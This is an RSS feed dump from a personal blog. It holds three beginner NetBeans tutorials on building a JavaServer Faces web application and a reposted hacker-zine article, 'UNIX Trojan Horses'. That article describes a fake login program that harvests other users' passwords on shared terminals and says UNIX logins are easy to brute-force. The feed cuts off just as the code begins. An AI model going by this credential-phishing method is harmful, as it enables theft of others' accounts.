<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Alchemist</title>
	<atom:link href="http://h4k33m.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://h4k33m.wordpress.com</link>
	<description>Just another WordPress.com weblog</description>
	<lastBuildDate>Wed, 30 Jul 2008 00:01:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='h4k33m.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Alchemist</title>
		<link>http://h4k33m.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://h4k33m.wordpress.com/osd.xml" title="Alchemist" />
	<atom:link rel='hub' href='http://h4k33m.wordpress.com/?pushpress=hub'/>
		<item>
		<title>introduction JSF part 3 : Configuring and Running the Application</title>
		<link>http://h4k33m.wordpress.com/2008/07/30/introduction-jsf-part-3-configuring-and-running-the-application/</link>
		<comments>http://h4k33m.wordpress.com/2008/07/30/introduction-jsf-part-3-configuring-and-running-the-application/#comments</comments>
		<pubDate>Wed, 30 Jul 2008 00:01:09 +0000</pubDate>
		<dc:creator>h4k33m</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://h4k33m.wordpress.com/?p=24</guid>
		<description><![CDATA[Set the IDE to display greeting.jsp when it runs the application and, finally, test the application. In the Projects window, right-click the project node and choose Properties. Click the Run node and type /faces/greeting.jsp in the Relative URL field. This allows you to specify the entry point for the application in the IDE. Click OK. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=24&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Set the IDE to display <tt>greeting.jsp</tt> when it runs the application  and, finally, test the application.</p>
<ol>
<li>In the Projects window, right-click the project node and choose Properties.</li>
<li>Click the Run node and type <tt>/faces/greeting.jsp</tt> in the Relative URL  field. This allows you to specify the entry point for the application in the  IDE. Click OK.</li>
<li>Right-click the project node and choose Run (F6). The IDE builds the  project, starts the application server, deploys the application, and shows the  following page in the default external browser:</li>
</ol>
<p><a href="http://h4k33m.files.wordpress.com/2008/07/jastro.jpg"><img class="alignnone size-medium wp-image-25" src="http://h4k33m.files.wordpress.com/2008/07/jastro.jpg?w=274&#038;h=95" alt="" width="274" height="95" /></a></p>
<p>When you click the Submit button, you see the following:</p>
<p><a href="http://h4k33m.files.wordpress.com/2008/07/jastro2.jpeg"><img class="alignnone size-medium wp-image-26" src="http://h4k33m.files.wordpress.com/2008/07/jastro2.jpeg?w=310&#038;h=81" alt="" width="310" height="81" /></a></p>
<p><strong class="notes">Note: </strong>Because you have changed the entry point  for the application to <tt>greeting.jsp</tt>, you can now delete  <tt>welcomeJSF.jsp</tt>, which was generated by default when the project was  created. The page is not required for this tutorial, nor follow-up  tutorials.</p>
<p><span id="more-24"></span></p>
<h2>Hooking up a Backing Bean</h2>
<p>In the previous section you created a simple web application with JSF  components. However, the web application does not really do anything &#8211; yet. In  order to add rich functionality to JSF web applications, you can associate UI  components with backing beans. A backing bean, also called a <em>JSF managed  bean</em>, is a regular JavaBeans component whose bean properties and methods  are available to the JSF components.</p>
<p>In this section, you create a <tt>UserBean</tt> managed bean that will expose  two bean properties: <tt>name</tt> and <tt>birthday</tt>.</p>
<ol>
<li>In the Projects window, right-click the project node and choose New &gt;  Other (Ctrl-N). Under the JavaServer Faces category, select the JSF Managed Bean  template and click Next.</li>
<li>Name the bean <tt>UserBean</tt> and create a new package named  <tt>astrologer.user</tt> to put it in. Leave the rest of the settings at their  default values and click Finish.</li>
</ol>
<p><a href="http://h4k33m.files.wordpress.com/2008/07/managed.jpg"><img class="alignnone size-medium wp-image-27" src="http://h4k33m.files.wordpress.com/2008/07/managed.jpg?w=425&#038;h=238" alt="" width="425" height="238" /></a></p>
<p>The IDE opens <tt>UserBean.java </tt>in the Source Editor and adds the following  bean declaration to <tt>faces-config.xml</tt>:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>&lt;managed-bean&gt;    &lt;managed-bean-name&gt;UserBean&lt;/managed-bean-name&gt;</p>
<p>&lt;managed-bean-class&gt;astrologer.user.UserBean&lt;/managed-bean-class&gt;</p>
<p>&lt;managed-bean-scope&gt;request&lt;/managed-bean-scope&gt;</p>
<pre class="examplecode">      &lt;/managed-bean&gt;
      ------------------------------------------------------------------------------</pre>
<p>3.  Add the following field declarations (shown in <strong>bold</strong>) to  <tt>UserBean.java</tt>:</p>
<pre class="examplecode">      public class UserBean {

      <strong>  String name;
        String birthday;</strong></pre>
<p>4.  Generate getters and setters for the fields: right-click anywhere in the  file and choose Refactor &gt; Encapsulate Fields. In the dialog box that        displays, select getter and setter options for both <tt>name</tt> and  <tt>birthday</tt>, then click Refactor.</p>
<p><a href="http://h4k33m.files.wordpress.com/2008/07/managed21.jpg"><img class="alignnone size-medium wp-image-29" src="http://h4k33m.files.wordpress.com/2008/07/managed21.jpg?w=370&#038;h=223" alt="" width="370" height="223" /></a></p>
<p>The IDE switches the access level for the fields to <tt>private</tt> and creates  getter and setter methods directly in the file</p>
<p>5.  In <tt>greeting.jsp</tt>, make the following changes (shown in  <strong>bold</strong>).</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<pre class="examplecode">       &lt;f:view&gt;
         &lt;h:form&gt;
          &lt;p&gt;Enter your name: &lt;h:inputText value="<strong>#{UserBean.name}</strong>" /&gt;&lt;/p&gt;
          &lt;p&gt;Enter your birthday: &lt;h:inputText value="<strong>#{UserBean.birthday}</strong>" /&gt;&lt;/p&gt;
          &lt;h:commandButton value="Submit" action="submit" /&gt;
         &lt;/h:form&gt;
       &lt;/f:view&gt;
       ----------------------------------------------------------------------------</pre>
<p>As you enter changes, make use of the IDE&#8217;s code completion support for  <tt>UserBeans.java</tt> and its properties by pressing Ctrl-Space and     choosing  available options.</p>
<p>6.  Add the JSF <tt>taglib</tt> declarations to <tt>success.jsp</tt>. You can  copy and paste them from <tt>greeting.jsp</tt>.</p>
<p>7.  Add an empty JSF form to <tt>success.jsp</tt> by clicking the JSF Form  button in the Palette window (Ctrl-Shift-8) and dragging and it to a point below  the <tt>&lt;h2&gt;</tt> tags in the Source Editor.</p>
<p>8.  Make the following changes to <tt>success.jsp</tt> (changes in  <strong>bold</strong>):</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<pre class="examplecode">      &lt;h2&gt;Congratulations&lt;/h2&gt;
        &lt;f:view&gt;
          &lt;h:form&gt;
            &lt;p&gt;You've successfully registered with jAstrologer.&lt;/p&gt;
            <strong>&lt;p&gt;Your name is &lt;h:outputText value="#{UserBean.name}" /&gt;&lt;/p&gt;
            &lt;p&gt;Your birthday is &lt;h:outputText value="#{UserBean.birthday}" /&gt;&lt;/p&gt;</strong>
          &lt;/h:form&gt;
        &lt;/f:view&gt;</pre>
<p>9.  In the Projects window, right-click the project node and choose Run. The  same <tt>greeting.jsp</tt> page displays in a browser when the application is  redeployed and run. When you enter values and click Submit, <tt>success.jsp</tt> now displays the values you entered, as shown below:</p>
<p><a href="http://h4k33m.files.wordpress.com/2008/07/managed3.jpg"><img class="alignnone size-medium wp-image-30" src="http://h4k33m.files.wordpress.com/2008/07/managed3.jpg?w=323&#038;h=103" alt="" width="323" height="103" /></a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/h4k33m.wordpress.com/24/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/h4k33m.wordpress.com/24/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/h4k33m.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/h4k33m.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/h4k33m.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/h4k33m.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/h4k33m.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/h4k33m.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/h4k33m.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/h4k33m.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/h4k33m.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/h4k33m.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/h4k33m.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/h4k33m.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/h4k33m.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/h4k33m.wordpress.com/24/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=24&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://h4k33m.wordpress.com/2008/07/30/introduction-jsf-part-3-configuring-and-running-the-application/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6c86fdf25bc8b8f8b5a6b8d861f478f1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">h4k33m</media:title>
		</media:content>

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/jastro.jpg" medium="image" />

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/jastro2.jpeg" medium="image" />

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/managed.jpg" medium="image" />

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/managed21.jpg" medium="image" />

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/managed3.jpg" medium="image" />
	</item>
		<item>
		<title>Introduction JSF part 2:Creating the JSP Pages</title>
		<link>http://h4k33m.wordpress.com/2008/07/28/introduction-jsf-part-2creating-the-jsp-pages/</link>
		<comments>http://h4k33m.wordpress.com/2008/07/28/introduction-jsf-part-2creating-the-jsp-pages/#comments</comments>
		<pubDate>Mon, 28 Jul 2008 10:40:22 +0000</pubDate>
		<dc:creator>h4k33m</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://h4k33m.wordpress.com/?p=18</guid>
		<description><![CDATA[Create a new JSP page called greeting.jsp that welcomes the user and collects his or her information. Then create a success.jsp page that congratulates the user in response to receiving data from the form. Creating the Greeting Page In the Projects window, right-click the project node and choose New &#62; JSP. Name the file greeting. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=18&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Create a new JSP page called <tt>greeting.jsp</tt> that welcomes the user and  collects his or her information. Then create a <tt>success.jsp</tt> page that  congratulates the user in response to receiving data from the form.</p>
<div class="indent">
<h3>Creating the Greeting Page</h3>
<p><a name="createJSP"></a></p>
<ol>
<li>In the Projects window, right-click the project node and choose New &gt;  JSP. Name the file <tt>greeting</tt>. Make sure the JSP File (Standard Syntax)  option is selected and click Finish. The IDE creates the new JSP file and opens  it in the Source Editor. Also, note that the file is added to the Web Pages node  in the Projects window.</li>
<li>In the Source Editor, declare the JSF tag libraries in  <tt>greeting.jsp</tt>. Do this by adding the following code to the top of the  file:
<pre class="examplecode">&lt;%@ taglib prefix="f" uri="http://java.sun.com/jsf/core" %&gt;
&lt;%@ taglib prefix="h" uri="http://java.sun.com/jsf/html" %&gt;</pre>
<p>Note that you can make use of the IDE&#8217;s built-in support for  code completion. As you type, press Ctrl-Space to list suggestions based on the  context. In this manner, code completion can help you add tag names and  attributes, such as the URIs of the tab libraries.</li>
<li>Change the contents of both the <tt>title</tt> and <tt>h2</tt> tags to  <tt>Welcome to jAstrologer</tt>.</li>
<li>Now add a JSF form to the file. In the Palette (Ctrl-Shift-8), expand the  JSF category. You can drag-and-drop items from the Palette directly into the  Source Editor. Click the JSF Form button, drag the item to a point below the  <tt>h2</tt> tags, and release the mouse button. In the dialog box that displays,  leave Empty Form selected and click OK. The IDE fills in the following code  (shown in <strong>bold</strong>):
<pre class="examplecode">&lt;h2&gt;Welcome to jAstrologer&lt;/h2&gt;

<strong>&lt;f:view&gt;
    &lt;h:form&gt;
    &lt;/h:form&gt;
&lt;/f:view&gt;</strong></pre>
</li>
<li>You can use <tt>inputText</tt> components to get user input and a  <tt>commandButton</tt> component to submit the form. In the Source Editor,  change the contents of the <tt>&lt;h:form&gt;</tt> tags to the following  (changes in <strong>bold</strong>):
<pre class="examplecode">&lt;f:view&gt;
    &lt;h:form&gt;
        <strong>&lt;p&gt;Enter your name: &lt;h:inputText value="name" /&gt;&lt;/p&gt;
        &lt;p&gt;Enter your birthday: &lt;h:inputText value="birthday" /&gt;&lt;/p&gt;
        &lt;h:commandButton value="Submit" action="submit" /&gt;</strong>
    &lt;/h:form&gt;
&lt;/f:view&gt;</pre>
<p>To format your code, right-click in  the Source Editor and choose Format (Alt-Shift-F)</li>
</ol>
<p>Creating the Success Page</p>
<ol>
<li>Now create a JSP page that says &#8216;Congratulations&#8217;.</li>
<li>Create a new JSP file as <a href="#createJSP">described above</a>. Name the  file <tt>success</tt>.</li>
<li>Change the contents of the file to the following:</li>
</ol>
</div>
<div class="indent">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</div>
<div class="indent">&lt;head&gt;     &lt;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=UTF-8&#8243;&gt;</div>
<div class="indent">&lt;title&gt;<strong>Congratulations</strong>&lt;/title&gt;</div>
<div class="indent">&lt;/head&gt;</div>
<div class="indent">&lt;body&gt;     &lt;h2&gt;<strong>Congratulations</strong>&lt;/h2&gt;</div>
<div class="indent"><strong>&lt;p&gt;You&#8217;ve successfully registered with jAstrologer.&lt;/p&gt;</strong></div>
<div class="indent">&lt;/body&gt;</div>
<div class="indent">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</div>
<div class="indent">
<h2><span id="more-18"></span></h2>
<h2>Setting Page Navigation</h2>
<p>Page navigation in the JSF framework is controlled by the  <tt>faces-config.xml</tt>. For each JSP page in the project, you set up a  navigation rule in <tt>faces-config.xml</tt> which contains one or more  navigation cases. Here, you can simply map the submit action from the  <tt>commandButton</tt> to <tt>success.jsp</tt>, so that the user sees a success  message no matter what is entered in the fields.</p>
<ol>
<li>In the Projects window, double-click <tt>faces-config.xml</tt> to open the  file in the Source Editor. In the toolbar above the file, click XML to display  the file in plain XML.</li>
<li>Right-click anywhere in the file and choose Java ServerFaces &gt; Add  Navigation Rule. Type <tt>/greeting.jsp</tt> in the Rule from View field and  optionally enter a description of the rule.</li>
</ol>
<div class="indent"><a href="http://h4k33m.files.wordpress.com/2008/07/navbar1.jpeg"><img class="alignnone size-medium wp-image-20" src="http://h4k33m.files.wordpress.com/2008/07/navbar1.jpeg?w=495" alt="" /></a><br />
Click Add. The following code is entered into <tt>faces-config.xml</tt>:</div>
<div class="indent">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</div>
<pre class="examplecode">&lt;navigation-rule&gt;
    &lt;description&gt;
        handle user input
    &lt;/description&gt;
    &lt;from-view-id&gt;/greeting.jsp&lt;/from-view-id&gt;
&lt;/navigation-rule&gt;</pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p></div>
<div class="indent">3. Again right-click inside <tt>faces-config.xml</tt> and choose Java ServerFaces  &gt; Add Navigation Case. In the dialog that displays, set the following:</p>
<ul>
<li>From View: <tt>/greeting.jsp</tt></li>
<li>From Outcome: <tt>submit</tt></li>
<li>To View: <tt>/success.jsp</tt></li>
</ul>
<p><a href="http://h4k33m.files.wordpress.com/2008/07/navbar2.jpeg"><img class="alignnone size-medium wp-image-21" src="http://h4k33m.files.wordpress.com/2008/07/navbar2.jpeg?w=495" alt="" /></a></div>
<div class="indent">Click Add. The IDE enters the following code into <tt>faces-config.xml</tt> (changes in <strong>bold</strong>):</p>
<pre class="examplecode">&lt;navigation-rule&gt;
    &lt;description&gt;
        handle user input
    &lt;/description&gt;
    &lt;from-view-id&gt;/greeting.jsp&lt;/from-view-id&gt;
    <strong>&lt;navigation-case&gt;
        &lt;from-outcome&gt;submit&lt;/from-outcome&gt;
        &lt;to-view-id&gt;/success.jsp&lt;/to-view-id&gt;
    &lt;/navigation-case&gt;</strong>
&lt;/navigation-rule&gt;</pre>
</div>
<div class="indent">to be continued&#8230;</div>
<div class="indent">references :</div>
<div class="indent">http://www.netbeans.org</div>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/h4k33m.wordpress.com/18/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/h4k33m.wordpress.com/18/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/h4k33m.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/h4k33m.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/h4k33m.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/h4k33m.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/h4k33m.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/h4k33m.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/h4k33m.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/h4k33m.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/h4k33m.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/h4k33m.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/h4k33m.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/h4k33m.wordpress.com/18/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/h4k33m.wordpress.com/18/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/h4k33m.wordpress.com/18/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=18&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://h4k33m.wordpress.com/2008/07/28/introduction-jsf-part-2creating-the-jsp-pages/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6c86fdf25bc8b8f8b5a6b8d861f478f1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">h4k33m</media:title>
		</media:content>

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/navbar1.jpeg" medium="image" />

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/navbar2.jpeg" medium="image" />
	</item>
		<item>
		<title>Introduction part 1 : Creating a Web Application with the JSF Framework</title>
		<link>http://h4k33m.wordpress.com/2008/07/26/introduction-part-1-creating-a-web-application-with-the-jsf-framework/</link>
		<comments>http://h4k33m.wordpress.com/2008/07/26/introduction-part-1-creating-a-web-application-with-the-jsf-framework/#comments</comments>
		<pubDate>Sat, 26 Jul 2008 00:28:48 +0000</pubDate>
		<dc:creator>h4k33m</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://h4k33m.wordpress.com/?p=10</guid>
		<description><![CDATA[You can add JSF support to existing web applications that are opened in the IDE, or to any new projects. The GlassFish server already includes the JSF libraries, so you do not need to download or install them in the application server. In this example, you add JSF support while creating a new web application [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=10&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>You can add JSF support to existing web applications that are opened in the IDE, or to any new projects. The GlassFish server already includes the JSF libraries, so you do not need to download or install them in the application server. In this example, you add JSF support while creating a new web application project.<br />
Choose File &gt; New Project (Ctrl-Shift-N) to open the New Project wizard. Under Categories select Web; under Projects select Web Application. Click Next.<br />
Name the project jAstrologer, specify a location for the project on your computer, then click Next.<br />
In the third step of the wizard, named Server and Settings, set the server to GlassFish V2, set the Java EE Version to Java EE 5, and click Next.<br />
Select the JavaServer Faces option and click Finish.</p>
<p><span id="more-10"></span>The IDE creates a project template for the entire application, and opens an empty JSP page (welcomeJSF.jsp) in the Source Editor. You can view the new project&#8217;s logical structure in the Projects window (Ctrl-1). Expand the project&#8217;s Libraries &gt; GlassFish V2 node. Notice that the JSF libraries, such as jsf-impl.jar, are added to the classpath. Expand Configuration Files and notice that the IDE has created a faces-config.xml file, which controls the behavior of JSF components in the web application. The IDE has also registered the Faces servlet in the web.xml deployment descriptor. The Faces servlet handles navigation between JSP pages that are controlled by the JSF framework.</p>
<p>references :</p>
<p>http://www.netbeans.org/kb/61/web/jastrologer-intro.html</p>
<div id="attachment_12" class="wp-caption alignleft" style="width: 152px"><a href="http://h4k33m.files.wordpress.com/2008/07/projects-window.png"><img class="size-medium wp-image-12 " src="http://h4k33m.files.wordpress.com/2008/07/projects-window.png?w=142&#038;h=300" alt="illustration" width="142" height="300" /></a><p class="wp-caption-text">illustration</p></div>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/h4k33m.wordpress.com/10/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/h4k33m.wordpress.com/10/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/h4k33m.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/h4k33m.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/h4k33m.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/h4k33m.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/h4k33m.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/h4k33m.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/h4k33m.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/h4k33m.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/h4k33m.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/h4k33m.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/h4k33m.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/h4k33m.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/h4k33m.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/h4k33m.wordpress.com/10/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=10&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://h4k33m.wordpress.com/2008/07/26/introduction-part-1-creating-a-web-application-with-the-jsf-framework/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6c86fdf25bc8b8f8b5a6b8d861f478f1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">h4k33m</media:title>
		</media:content>

		<media:content url="http://h4k33m.files.wordpress.com/2008/07/projects-window.png?w=142" medium="image">
			<media:title type="html">illustration</media:title>
		</media:content>
	</item>
		<item>
		<title>&#8220;UNIX Trojan Horses&#8221;</title>
		<link>http://h4k33m.wordpress.com/2008/06/29/unix-trojan-horses/</link>
		<comments>http://h4k33m.wordpress.com/2008/06/29/unix-trojan-horses/#comments</comments>
		<pubDate>Sun, 29 Jun 2008 23:15:04 +0000</pubDate>
		<dc:creator>h4k33m</dc:creator>
				<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://h4k33m.wordpress.com/?p=7</guid>
		<description><![CDATA[Introduction &#8212;&#8212;&#8212;&#8212; &#8220;UNIX Security&#8221; is an oxymoron. It&#8217;s an easy system to brute force hack (most UNIX systems don&#8217;t hang up after x number of login tries, and there are a number of default logins, such as root, bin, sys and uucp). Once you&#8217;re in the system, you can easily bring it to its knees [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=h4k33m.wordpress.com&amp;blog=3681338&amp;post=7&amp;subd=h4k33m&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Introduction<br />
&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8220;UNIX Security&#8221; is an oxymoron.  It&#8217;s an easy system to brute force hack (most UNIX systems don&#8217;t hang up after x number of login tries, and there are a number of default logins, such as root, bin, sys and uucp).  Once you&#8217;re in the system, you can easily bring it to its knees (see my previous Phrack article, &#8220;UNIX Nasty Tricks&#8221;) or, if you know a little &#8216;C&#8217;, you can make the system work for you and totally eliminate the security barriers to creating your own logins, reading anybody&#8217;s files, etcetera.  This file will outline such ways by presenting &#8216;C&#8217; code that you can implement yourself.</p>
<p>Requirements<br />
&#8212;&#8212;&#8212;&#8212;<br />
You&#8217;ll need a working account on a UNIX system.  It should be a fairly robust version of UNIX (such as 4.2bsd or AT&amp;T System V) running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the best results.  If you go to school and have an account on the school system, that will do perfectly.<br />
Notes<br />
&#8212;&#8211;<br />
This file was inspired an article in the April, &#8217;86 issue of BYTE entitled &#8220;Making UNIX Secure.&#8221;  In the article, the authors say &#8220;We provide this information in a way that, we hope, is interesting and<br />
useful yet stops short of being a &#8216;cookbook for crackers.&#8217;  We have often intentionally omitted details.&#8221;  I am following the general outline of the article, giving explicit examples of the methods they touched<br />
on.</p>
<p>An unrelated note:  Somewhere there&#8217;s a dude running around using the handle &#8220;Lord British&#8221; (not THE Lord British&#8230;).  This is a message for LB:  &#8220;Fuck off and die.&#8221;</p>
<p>Here we go&#8230;</p>
<p>Project One:  Fishing For Passwords<a href="http://h4k33m.files.wordpress.com/2008/06/trojan-horse.jpg"><img class="alignright size-medium wp-image-8" src="http://h4k33m.files.wordpress.com/2008/06/trojan-horse.jpg?w=239&#038;h=300" alt="" width="239" height="300" /></a><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>You can implement this with only a minimal knowledge of UNIX and C.  However, you need access to a terminal that many people use &#8211; the computer lab at your school, for example.</p>
<p>When you log onto a typical UNIX system, you see something like this:</p>
<p>Tiburon Systems 4.2bsd / System V (shark)</p>
<p>login: shark<br />
Password:      (not printed)</p>
<p>The program I&#8217;m giving you here simulates a logon sequence.  You<br />
run the program from a terminal and then leave.  Some unknowing fool will walk up and enter their login and password.  It is written to a<br />
file of yours, then &#8220;login incorrect&#8221; is printed, then the fool is<br />
asked to log in again.  The second time it&#8217;s the real login program.<br />
This time the person succeeds and they are none the wiser.<span id="more-7"></span></p>
<p>On the system, put the following code into a file called &#8216;horse.c&#8217;.<br />
You will need to modify the first 8 lines to fit your system&#8217;s appearance.</p>
<p>&#8212;&#8211; Code Begins Here &#8212;&#8211;</p>
<p>/* this is what a &#8216;C&#8217; comment looks like.  You can leave them out. */</p>
<p>/* define&#8217;s are like macros you can use for configuration. */</p>
